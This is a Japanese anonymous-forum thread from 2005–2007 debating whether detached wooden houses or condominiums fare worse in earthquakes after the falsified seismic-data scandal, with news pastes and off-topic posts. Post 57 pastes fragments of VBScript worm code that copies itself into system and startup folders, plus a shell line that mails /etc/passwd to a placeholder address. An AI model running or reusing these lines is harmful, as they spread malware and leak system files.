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【耐震】戸建が一番怖い【偽装】

1 :名無し不動さん:2005/12/24(土) 12:16:12 ID:Nm7wuBas
今世間ではマンソンの耐震偽造が騒がれているが
どう考えても戸建の方が怖い。
構造のことなんか考えてないし知らないし。
おまけに工事も手抜きばっかだし。
それでもなぜか合法だったりするし。
ハウスメーカーのものならともかく
一般の木造住宅って地震きたらまず潰れるよね。

2 :名無し不動さん:2005/12/24(土) 16:05:19 ID:???
オレの家は確実に潰れそう
だな

3 :名無し不動さん:2005/12/24(土) 16:12:21 ID:s45hgRUg
どうぞ
http://193.to/?tachi
http://193.to/?tachi01

4 :名無し不動さん:2005/12/24(土) 18:59:15 ID:???
週刊誌でも載ってたな

5 :名無し不動さん:2005/12/24(土) 22:21:18 ID:9b3sVhZU
木造って上から下にぐしゃって潰れるから2階建てとかなら1階にいれば押しつぶされるな


6 :名無し不動さん:2005/12/24(土) 22:28:22 ID:tmVfpV82
マンション業者ヒッシだな。
こんなところで吼えても流れが変わることは無いと思うが。

7 :名無し不動さん:2005/12/25(日) 00:31:05 ID:???
マンションがグシャリといった場合に比べれば生き残る確率は
高いな。

8 :名無し不動さん:2005/12/25(日) 03:00:55 ID:8om0Q9C4
大手HMが平気でそれ以外の業者が手抜きばかりしているという根拠は?

9 :名無し不動さん:2005/12/25(日) 04:30:53 ID:???
戸建の新築現場に行ってごらんよ。在来でさえ強固なボードで補強され昔とは
大違いだよ。

10 :名無し不動さん:2005/12/25(日) 08:15:26 ID:???
地震が来たら一戸建が潰れるのはまちがいないが
口が裂けても言えないわな
パニックになるし

11 :名無し不動さん:2005/12/25(日) 11:33:39 ID:3dFxZfUd
一回阪神大震災当時にタイムスリップしてこい。
話はそれからだ。


12 :名無し不動さん:2005/12/25(日) 12:25:19 ID:???
一戸建にすんでる奴も必死だな
そりゃ自分の家が潰れるなんて考えたくないよな

13 :名無し不動さん:2005/12/25(日) 12:30:21 ID:vl5eFZzn
ttp://www.shou.co.jp/yorozu/naibu/gisou.htm
戸建はないと思ってました
マンションだけが負け組みだと
違ったのですね

14 :名無し不動さん:2005/12/25(日) 16:12:53 ID:???
大震災がきたら一戸建てだろうがマンションだろうが
ダメージ受けるだろうな。
復帰するのは土地付の一戸建てのほうが遥かに楽だろうが
マンションは住民間の意見対立なんかで大変だ

15 :名無し不動さん:2005/12/25(日) 17:21:24 ID:???
>>14
震災後の復帰は一戸建の方が遥かに楽。





























ただし、生きていればだけどね。

16 :名無し不動さん:2005/12/25(日) 19:42:31 ID:???
>1

>ハウスメーカーのものならともかく
>一般の木造住宅って地震きたらまず潰れるよね。

ハウスメーカーを有難がっているところが、庶民感覚 w

17 :名無し不動さん:2005/12/25(日) 20:25:27 ID:???
死にたくない

18 :名無し不動さん:2005/12/26(月) 00:27:52 ID:???
ハウスメーカーがってのは、阪神でハウスメーカー物が倒壊一件も無し
から来てるんでそ。
この板でも何度か話題になっていたけど知らないのか?

手抜き戸建ては本当に恐い。
柱を抜いたりやり放題。
だけどこれこそ倒れない限り表に出てこないんだろうな。

19 :名無し不動さん:2005/12/26(月) 00:47:12 ID:???
ハウスメーカーの一戸建ても、木造一戸建ても
普通の工務店が造ってるじゃん。

20 :名無し不動さん:2005/12/26(月) 00:49:08 ID:???
阪神大震災があったから今は手抜きなんてなかなかできないよ。
十年保証の件もあるし柱抜いても首を絞めるだけ。
理論的に考えれ

21 :名無し不動さん:2005/12/26(月) 00:54:49 ID:???
>>20
地震で倒壊したら保証外ですよ。
阪神大震災はもう10年も前の話ですよ。
抜けるところは徹底的に抜きますよ。

22 :名無し不動さん:2005/12/26(月) 07:25:07 ID:???
つか、戸建がヤバイなんつのはとっくの昔から価格に織り込み済みなわけで、
一方でマンションがここまでヤバイなんつうのはほとんど認識されて
なかったわけで。

これからマンション価格にこのリスクを織り込む調整が入るだけでしょ。

暴落というよりは、戸建と同様のリスクに見合ったレベルまでマンション価格が
適正な価格になるだけ。

23 :名無し不動さん:2005/12/26(月) 12:01:50 ID:???

ま、その通りだな。
戸建は、注文か建売かとか、工法でも違うし、
予算のかけ方もそれぞれ千差万別。
まともなマンションが倒壊するくらいの地震でも
びくともしない戸建だって金さえかければ作れる。
一方、地震なんて無くても勝手に傾いてしまうような
やわな手抜き建売も存在する。
一律に比較すること自体がナンセンスだ。

それに対して、マンションは基本的に規格品であって、
いってみれば全部建売だ。
そのくせ建物だけの価格で言えば、建売戸建に比べて
床面積当りで比較して、ひどく割高であったのが事実だ。
その理由の一つが鉄筋コンクリートであるから、地震に
強いはずだってことであった。
しかし、それが幻想であることが白日に晒された以上、
これまでと同様の価格では売れないと考えるべきだろうな。

24 :名無し不動さん:2005/12/26(月) 12:07:00 ID:k329sxj+
>>21
お前は何も買わなくていいよ。その方が心配が無くていいだろ。



25 :名無し不動さん:2005/12/28(水) 20:58:24 ID:???
神戸の震災も、新潟の震災も、ツーバイフォーは全半壊ゼロ。
いまどきの住宅、特にツーバイは震度7程度じゃビクともしないよ。

26 :名無し不動さん:2005/12/28(水) 23:12:03 ID:bKSAit6F
>>25
ビクともしないというのは大げさらしいよ。
倒れる家はなかったが、パネルが割れてしまう家は
結構あったらしい。

27 :名無し不動さん:2005/12/28(水) 23:54:10 ID:+FQkOz/a
ツーバイは湿気に弱い。木は水に弱いでしょう。築年数によっては、腐食して
ボロボロになってるよ。ちょっと増築しようと思っても難しいし。
乾燥して最初から大型の住宅を建てられるアメリカ専用の住宅だよ。

28 :名無し不動さん:2005/12/29(木) 00:36:40 ID:G474i2I9
やっぱり在来工法が一番

29 :名無し不動さん:2005/12/29(木) 00:40:03 ID:9LxxC3oh
ぶっちゃけ家建てるのにいちいち現場に見に行く暇が無い。


30 :名無し不動さん:2005/12/29(木) 00:45:28 ID:???
戸建でも構造さえしっかり作れば
耐震等級3なんて楽勝だよ
マンションなんて耐震等級1でしょ?

31 :名無し不動さん:2005/12/29(木) 00:52:54 ID:Ofn5DacF
耐震等級3って、とりあえず倒壊しない程度じゃなかったっけ?

32 :名無し不動さん:2005/12/29(木) 11:59:48 ID:???
>>31
阪神大震災クラス(1000ガル)で倒壊しないのが等級1。
その1.5倍の規模(1500ガル)でも倒壊しないのが等級3。

33 :名無し不動さん:2005/12/29(木) 23:49:02 ID:bItp/Gkv
http://www.asahi.com/housing/zasshi/TKY200505110246.html
新築高層マンション、福岡沖地震で壁被害なぜ多発
福岡沖地震で意外と伝えられていないのが、
新築高層マンションの被害だ。壁が壊れて、おまけに地震保険は
下りないというケースも少なくない。

34 :名無し不動さん:2005/12/29(木) 23:56:00 ID:???
>>32
マジで阪神大震災の1.5倍の地震がきたら、等級3がバタバタ倒れることがウルトラアリエール。


35 :名無し不動さん:2005/12/31(土) 18:09:41 ID:???
>>34
それはないな。
近年の大震災で全半壊ゼロの実績は伊達じゃない。
そのなかには、基準を完全に無視した設計や手抜き施工の
DQNツーバイだってたくさんあっただろう。
それでも倒れなかったのがツーバイフォーだ。
在来木造とは素性が違う。

36 :名無し不動さん:2006/01/05(木) 17:41:13 ID:Sum7bf4W
>>34
一回阪神大震災当時にタイムスリップして来い。


37 :名無し不動さん:2006/01/05(木) 17:46:25 ID:???
仮に大震災で崩壊しても(本当は火事のほうが怖いのよ!)
戸建住民は立ち直るのも早い。
なにしろ綺麗な更地になるのだから(国や自治体が金を出してくれる。
更に区画整理で道が広くなる可能性と自分の土地が狭くなる可能性がある)
新築を建て直すしか道がない。
マンションは住民同士で揉めるのが嫌だね〜。

38 :名無し不動さん:2006/01/05(木) 17:57:28 ID:???
自主独立、自己責任の戸建 vs 運命共同体のマンション

39 :名無し不動さん:2006/01/15(日) 21:26:40 ID:NLU26DNJ
http://ikemendaiki.blog44.fc2.com/blog-entry-9.html

耐震強度問題で変わった意見で面白いよ

40 :名無し不動さん:2006/03/06(月) 16:53:18 ID:zUQyGYn4
ここで耐震偽装について下ゼネコン社員の専門家が実態を暴露しています。
http://www.geocities.co.jp/Technopolis-Jupiter/1750/taishingisou.html

41 :名無し不動さん:2006/03/06(月) 16:57:20 ID:???
おい、マンカスが必死杉だな。

どこのデベだ??????

アーン

42 :名無し不動さん:2006/03/06(月) 23:01:38 ID:???
一戸建て願望は根強い。それにわかりやすいメリットもある[駐車場コスト不要、上下階の関係]。
でも気になるのは欠陥住宅手抜き工場、地盤強度。
建売は信用できないし、建築過程が闇。注文建築は手間かかるし、弱小工務店は倒産リスクあり。
大手HMは広告コストが価格転嫁されているから高額だし、実際の施工は下請町の工務店だから安心できない。
そもそも市街地で頃合いの宅地に巡り逢うのは至難の技。仕方ないから建売でも探すか、で最初にもどる、無限ループ。

43 :名無し不動さん:2006/03/06(月) 23:22:54 ID:SAWw/B4C
>>42
「だからマンション」という形でこれまでマンションは安心感の分だけ
高めになってた。序列的には、

大手デベのマンション>中小デベのマンション>=大手HMの戸建>パワービルダーの戸建

という実に分かりやすい序列だった。

ところが耐震偽装問題でまさに砂上の楼閣だったことが判明。

大手デベのマンション=大手HMの戸建>パワービルダーの戸建て>>中小デベのマンション

と序列が変化。戸建てが上がることは無いにしろ、マンションは大手デベだろうが、中小だろうが
もう一段の調整が入ることは間違いない。

44 :adp:2006/03/07(火) 00:05:24 ID:???
>>43
なかなかいいこというな。

とはいえ、財閥系の一見安心できそうなマンションも、このたびの住友不動産の物件騒ぎでどうやら怪しげな雲行き。
そもそも財閥系とはいえタワーマンションクラスになると、上階のほうは重量制限により防音面ではまったく心もとないのではないのか?
つまり上下左右の音を相当意識せざるを得なくなる、と聞いたことがある。
上下左右の居室を購入できる身分ならともかく…

漏れとしては、立地条件をクリアできれば

大手HMの戸建(ただし、重量鉄骨系で施主チェック厳しく)>>大手デベのマンション>=パワービルダーの戸建て>>>>中小デベのマンション

かなあ、と思ってる。

45 :名無し不動さん:2006/03/07(火) 02:36:51 ID:???
伸びないスレだなw

46 :名無し不動さん:2006/03/07(火) 06:05:50 ID:bNZldAxe
>>44
重量鉄骨の戸建は耐震性としては怪しいのを勉強しておいた方がいいよ。
免震・制震戸建も研究しとけ。後、性能保証もな。

47 :名無し不動さん:2006/03/07(火) 19:06:09 ID:???
おい、マンカスが必死杉だな。

どこのデベだ??????

アーン


48 :名無し不動さん:2006/03/07(火) 21:45:04 ID:bNZldAxe
>>47
木造の耐震性について勉強した方がいいぞ

49 :名無し不動さん:2006/03/08(水) 11:44:48 ID:???
マンション耐震強度偽装に隠れた形だが一戸建ての欠陥手抜き問題を忘れないように。
先日の不動産経済研レボートによると新規取得か取得供給か忘れたが、一割がマンションだそうだが、逆に九割の圧倒多数は一戸建てだということだ。
欠陥住宅や手抜き、形骸建築確認審査の被害絶対数は一戸建てのほうが多い。

50 :名無し不動さん:2006/03/08(水) 12:32:07 ID:vqj3mf92
>>49
つか、戸建ては欠陥があるということは昔から認識されてるでしょ。
だからしくみとして欠陥がまず起きないと思われてたマンションに
高めのマージン設定の値段がついてたわけで。

ところが欠陥が少ないはずのマンションでも安心できないことが
白日にさらされた。さらに欠陥があった場合の補償の困難さは
戸建て以上。

これからはその分マンションは安くせざるを得ない。

51 :名無し不動さん:2006/03/08(水) 13:07:03 ID:???
安くならないよ。コストがどんどん上がるからね。

52 :名無し不動さん:2006/03/08(水) 14:40:59 ID:2QFfPj8J
一戸建てだからといって欠陥が必ず存在するわけじゃない。
品質が一定しにくいというのは事実だが。
逆に工業製品に近い規格品としてマンションには暗黙の信頼感があったのも事実。
それが偽装事件で根底から裏切られた。
ヒューザーのような低価格戦略のデベロッパだけの問題じゃない。マンション業界の上も下も関係ない。

53 :名無し不動さん:2006/03/10(金) 16:00:59 ID:???
戸建ての寿命はマンションより2,30年短い。
それだけ早く傷むということ。
それをわかった上で、消耗品として戸建てを買えるならおk。

54 :名無し不動さん:2006/03/10(金) 22:39:09 ID:???
>>53
それも幻想なわけだが

55 :名無し不動さん:2006/03/12(日) 10:35:39 ID:???
百年住宅ていうコピーがあったな。上物は確かに消耗品ではあるな。

56 :名無し不動さん:2006/03/12(日) 12:01:33 ID:???
以上ダンボールマンション住民の討論会

57 :名無し不動さん:2006/03/17(金) 14:17:08 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"


58 :名無し不動さん:2006/03/17(金) 22:14:11 ID:???
                        ∩___∩  
     __ _,, -ー ,,             / ⌒  ⌒ 丶|    ハッハッハッ
      (/   "つ`..,:         (●)  (●)  丶  
   :/       :::::i:.        ミ  (_●_ )    | ねぇねぇ偽装のマンカスって恥ずかしくないの?
   :i        ─::!,,     ハッ  ミ 、  |∪|    、彡____  
     ヽ.....:::::::::  ::::ij(_::●    ハッ    / ヽノ      ___/      ネエネエ
    r "     .r ミノ~.      ハッ   〉 /\    丶              
  :|::|    ::::| :::i ゚。            ̄   \    丶
  :|::|    ::::| :::|:                  \   丶
  :`.|    ::::| :::|_:                    /⌒_)
   :.,'    ::(  :::}:                    } ヘ /
   :i      `.-‐"                    J´ ((   トントン
                                   ソ トントン

59 :保守あげ:2006/03/25(土) 15:44:51 ID:???
保守あげ

60 :名無し不動さん:2006/03/25(土) 15:55:34 ID:XTJYArUO
木造だったら、修復するのもそんなに
大変じゅないし、私は戸建が良いと思います。
不同沈下とかいっても、簡単にジャッキで
あがるし。マンションだとこうはいかないね。

61 :名無し不動さん:2006/03/25(土) 15:56:26 ID:???
築30年になる俺の実家が福岡震度6弱に耐えた時は感動した
あと10年は行けるな

62 :名無し不動さん:2006/03/31(金) 00:59:51 ID:???
甘い。耐えたように見えて、実は梁が折れている
次の台風であぼーんだな

63 :名無し不動さん:2006/04/23(日) 08:43:57 ID:HRhJ9EYY
針が折れてるてか

次の震度3が来たらアボーンってことか

64 :名無し不動さん:2006/04/23(日) 09:14:01 ID:JGPVo3Lx
耐震と言ってるが、建主とともに朽ちるのが
いい家だと思うよ。
近所に医者が建てたRC戸建があるが、年とって
売ろうとしてるが、建設費が高かったので、思うような
金額で売れなくて困ってるそうだ。
木造の安普請で十分だ。

65 :名無し不動さん:2006/04/25(火) 00:07:00 ID:???
今世間ではマンソンの耐震偽造が騒がれているが
どう考えても戸建の方が怖い。
構造のことなんか考えてないし知らないし。
おまけに工事も手抜きばっかだし。
それでもなぜか合法だったりするし。
ハウスメーカーのものならともかく
一般の木造住宅って地震きたらまず潰れるよね。

66 :名無し不動さん:2006/04/25(火) 07:01:54 ID:???
まあ、そういう工務店もあるかな。
戸建なんだから自分で確認しながらやればいいだけだよ

67 :名無し不動さん:2006/04/25(火) 23:45:43 ID:TEJhB4tH
俺の家は基礎の保証は20年だよ、その分値段も張るけど。

地震で家が傾いたり、怪我でもした日には訴訟ものですよ。



68 :名無し不動さん:2006/04/28(金) 01:39:17 ID:???
地震の事なんか考えてたら日本に住めんだろ。
どんなに丈夫な家に住んでいようが、路上でブロック塀の
下敷きになったらいっしょだ。


69 :名無し不動さん:2006/05/08(月) 00:02:00 ID:???
勝利宣言「戸建は自慢ではなく、独立した自由を獲得している。」

70 :名無し不動さん:2006/05/08(月) 12:47:17 ID:j+GCDA4d
家の戸建ての耐震度数は2.5です。
マンションは平均で1.2だそうですね。

71 :名無し不動さん:2006/06/19(月) 15:12:15 ID:3ri8vw9l
築30年のRC賃貸マンションに移り住もうか考えているけれど、
耐震は期待できないんでしょうかね?
だいたい、RCは木造よりは耐用年数が長いけれど何年くらいもつんでしょうか?

72 :名無し不動さん:2006/06/19(月) 22:51:56 ID:???
補修始めたね。

73 :名無し不動さん:2006/06/22(木) 13:42:14 ID:???
建設板から来ますた

>>70
木造(軸組、壁式)の戸建と、S造RC造のマンソン等では
構造強度(耐震強度)の算定方法は全く違うわけだが
戸建ての「2.5」って何の話?詳しく教えてくれないか?

ちなみにマンソンの1.2とかは、2次設計の保有水平耐力のことだよ

74 :名無し不動さん:2006/06/22(木) 22:57:56 ID:???
わざわざ建設板から一か月半も前のカキコにご苦労さまです (プ

75 :名無し不動さん:2006/06/22(木) 23:32:12 ID:???
そりゃどうもw

嘘を書くのは一瞬だけど、書いた嘘は1ヶ月半経っても残ってるわけだよ
一ヶ月半後に気付く人がいても不思議じゃない罠
そして、嘘を指摘された嘘つきが「(プ」とか書いたところで
嘘が消えるわけでもないのだよ

で、戸建ての「2.5」って何だと思う?

ここはチャットじゃないから、こうやってレスがついてる間は
嘘の書き込みも、消え去ったりはしないわけだが

76 :名無し不動さん:2006/06/24(土) 01:18:56 ID:???
書いた本人に訊いてくれw
sageてたんじゃ、気づかれないかもよ。



77 :名無し不動さん:2006/07/23(日) 10:11:24 ID:???
age

78 :age :2006/08/24(木) 09:39:15 ID:o6hoWtYG
age

79 :名無し不動さん:2006/08/24(木) 10:28:17 ID:???
>>65
大手ハウスメーカーに大工はいない。
作るのは下請けした地元の工務店。
だったらその工務店に直に発注したほうが
同じ値段なら中間マージン取られない分丈夫な家を建てることが可能。
大工の腕がよければだが。

工事が手抜きばっかりとかいうのも、
ハウスメーカーの営業が顧客欲しさに安易に値引きして、
それが下請けの工賃や部材の質に反映されただけ、というケースが多い。
高い金を取って欠陥住宅を建てる工務店がないわけじゃないが。

80 :名無し不動さん:2006/08/25(金) 08:57:51 ID:???
甘いな。
下請けの地元の元締め工務店から
更に下請けの工務店や、個人大工に回されるんだよ。
大工は日当が安いんで、納期が一番で仕事の良し悪しは二の次。
腕のいい大工なんてやるわけない。
つうか、もう昔で言う大工じゃなく図画工作程度の腕だな。


81 :名無し不動さん:2006/09/28(木) 18:57:59 ID:moDJak9R
来ますたね アーネストワン

82 :名無し不動さん:2006/10/18(水) 15:12:46 ID:???
『アパ物件にも偽装』  藤田元社長暴露

藤田被告によると、イーホームズが偽装を確認したのは
(1)埼玉県鶴ケ島市のマンション「アップルガーデン若葉駅前」
(2)千葉県成田市のマンション「アパガーデンパレス成田」
(3)川崎市内の物件−の三物件。

偽装に気付いたのは今年二月。アパグループの物件の構造設計を請け負っている
富山市内の設計事務所の代表がイーホームズに来社し、藤田被告に打ち明けたという。

 この後アパの役員らがイーホームズを訪れ、計画の変更を要請。「アップルガーデン」
と「ガーデンパレス」は「計画変更も再計算も適切ではない」と判断し、工事は
現在中断しているという。

藤田被告は「国に通報して、アパの物件を調査するように要請したのに、担当者は
『関知しない』と取り合わず、アパは工事を止めなかった」と述べた。

http://www.tokyo-np.co.jp/00/sya/20061018/eve_____sya_____000.shtml

83 :名無し不動さん:2006/11/10(金) 15:49:13 ID:3WSg6YNN
「JanJan」で、藤田社長の記者会見の様子を見ることができます。
http://www.janjan.jp/living/0611/0611100412/1.php


84 :磯間:2006/11/23(木) 02:47:55 ID:3+agb2E3
建売り住宅特に城南エリアの違反建築は凄まじかった。

85 :名無し不動さん:2006/11/23(木) 19:08:22 ID:???
★ERIの建築確認は違法、マンション計画で横浜地裁

 神奈川県逗子市のマンション建設計画をめぐり、近隣住民13人が指定確認検査機関
「日本ERI」(東京)が出した建築確認の取り消しを求めた訴訟の判決で、
横浜地裁(河村吉晃裁判長)は22日、同社の建築確認を違法と認定し取り消した。

 判決によると、現場は盛り土の急斜面。東京の建設会社が地上3階、地下1階の
マンション(146戸)と車庫の建設を計画し、2001年4月、県の開発許可を取得。
同社の建築確認申請に基づき、ERIが同月、確認済証を発行した。現在は更地の状態。

 判決理由で河村裁判長は「ERIが建築確認時に審査した図面は、県が開発許可を出した
図面に比べて地盤を強化するくいの数が少なく、配置も異なる」と指摘。ERIの審査は
「建築基準関係規定との適合性がない」として違法とした。

 原告のうち、建物の倒壊などで直接被害を受ける可能性が高いと認定した場所に暮らし、
原告適格が認められた7人の請求に基づく判断。残り6人の請求は却下した。

日経新聞 http://www.nikkei.co.jp/news/shakai/20061123STXKD052722112006.html

86 :名無し不動さん:2006/11/23(木) 23:45:08 ID:???
東急の建売一戸建て買ったが25年たってもびくともしてないよ


87 :名無し不動さん:2006/11/28(火) 11:06:09 ID:???
【長周期振動で】まだタワーマンション買っちゃだめ!【ポッキリ】

http://money4.2ch.net/test/read.cgi/estate/1164677818/

88 :名無し不動さん:2006/12/26(火) 14:40:45 ID:OfSJG+ep
うちは大成の戸建買った。
耐震に関してはマンションのほうが怖いと思うが。


89 :名無し不動さん:2006/12/26(火) 21:27:06 ID:???
超高層ビルを襲う「激しくてしつこい」揺れ

ttp://www.nikkeibp.co.jp/sj/column/ba/07/


90 :名無し不動さん:2006/12/30(土) 10:39:04 ID:f2vHRVQ9
田舎に激安の土地を買って、廃バスを置いて住みたい。
耐震偽装問題なんか関係なし。廃材を拾ってきて断熱を自分でして
バス内で薪ストーブ。移動式汲み取り便所を中古もしくは譲ってもらう。
こんなの理想。
住宅の保守のために何百マンも使いたくない。

91 :名無し不動さん:2006/12/30(土) 13:29:32 ID:fwrxnBWx
俺はもともと資金なくて土地&上物フルローンだけど、
やっぱ建売は心配だし、つまらないから、土地契約から十分に
時間かけて設計は依頼している。
今は建築確認をいったん停めて、「耐震性能3」に上げようといじってもらってる。
計画は小さい木造在来だから、少しいじるだけなら費用負担は
そうはかからないみたいだし。
相反する「耐震性」&「設計特徴」をまとめるのには苦労してるけど。

資金の無い俺の発想・・・
●土地 → 東京西部エリアの一種低層にして評価額リスクを少なく。
●上物 → 残ったお金の範囲で建ててしまうというもの。

「廃バス」まではまねできないけど、万が一、地震で家がおかしくなれば、
「まだ使用できる構造材」+「多少の追加材の費用」で住む家をアレンジするという
極論も展開が可能。
(地震保険では建替えはできないし、新にローンは組めないだろうし)

「水道」や「電気」、「ガス」のインフラも防災時を考えて有効な
パターンを検討中。身体さえ残ってれば、家がおかしくなっても
その土地に、そんな金かねないで自宅復興を目指す。
だから、借金だけが残っちゃうってイメージは持たないで済むのが
一戸建てを選ぶ上での強い動機のひとつかな。
かみさんもガーデニングなんか楽しめるし、おれもDIYも楽しみだしね。



92 :名無し不動さん:2007/01/04(木) 20:40:40 ID:???
まあ、隣近所がDQNに比べれば、
地震なんてタカがしれてると思うぜ
柱が1本ないくらい運がよければ地震来ないよ
痛い、痛いオレの経験

93 :名無し不動さん:2007/01/04(木) 20:58:03 ID:???
【世田谷女性殺害】「自宅は尾行して突き止めた」 「食事に誘ったが断られた」ため暴行を計画

東京都世田谷区の自宅アパートで居酒屋アルバイト、斉藤静香さん(22)が
殺害された事件で、殺人容疑で逮捕された同僚の那須野亮容疑者(28)が、
事前に斉藤さんを尾行して自宅を突き止めていたことが
警視庁北沢署捜査本部の調べで分かった。
那須野容疑者は「食事に誘ったが断られた」とも供述しており、
捜査本部はこれをきっかけに暴行を計画したとみて追及している。

那須野容疑者は28日午前、斉藤さんの部屋で斉藤さんの首を手などで絞め
殺害したとして殺人容疑で逮捕された。
調べでは、那須野容疑者は事件の1週間ほど前、
アルバイト先の居酒屋から帰宅する斉藤さんを尾行して自宅を割り出したという。
同じころ、居酒屋の更衣室から斉藤さんの自宅の鍵を持ち出し、
合鍵を作ったことも既に分かっている。

また、那須野容疑者は自分の指紋のついた斉藤さんのカードケースや
血痕の付着したティッシュペーパーを持ち帰っていたことも判明。
証拠の隠滅を図ったとみられる。
ボタンが取れたブラウスなどがポリ袋に入った状態で斉藤さん方に残されていたが、
「持ち帰るつもりで、気が動転して置き忘れた」と供述しているという。
http://www.news24.jp/kakudai/pictures/061229050.jpg
http://www.mainichi-msn.co.jp/shakai/jiken/news/20061231k0000m040087000c.html



94 :名無し不動さん:2007/01/05(金) 21:24:03 ID:B6UWi17U
23区隣接市在住。一種低層に注文戸建。
満足です。
マンションは耐震等級が低いのが当たり前になっているからね。
ALL電化で次世代省エネ基準だから光熱費も安い。
家に居る限り地震なんていつでも来いって感じだもん。

95 :94:2007/01/05(金) 21:25:14 ID:B6UWi17U
マンション住んでいる人は参考に。
http://www.geocities.jp/fghi6789/taishingisou.html

96 :名無し不動さん:2007/03/03(土) 10:41:51 ID:so+k+hxN
オール電化って怖いね

97 :名無し不動さん:2007/03/03(土) 21:35:29 ID:???
>>94-95
あれ?古舘くん、ここでも宣伝広告ですか?
君は確か北海道に住んでいるはずだったよね
いつ関東に引っ越したの?
君の掲示板に出てる君のIPアドレスは北海道だけど?

98 :名無し不動さん:2007/03/04(日) 20:12:07 ID:???
<長周期地震動>超高層ビルで6割が耐震性検証されず
3月4日3時3分配信 毎日新聞


 巨大地震で発生する「長周期地震動」の影響が懸念される超高層ビルで、
00年5月までに建築許可の大臣認定を受けた約6割が、
その認定時に現行基準を下回る揺れの大きさでしか耐震性が
検証されていないことが分かった。00年5月までの旧基準では、
耐震性の検証に使う揺れの大きさを指定していなかったため。

http://headlines.yahoo.co.jp/hl?a=20070304-00000008-mai-soci


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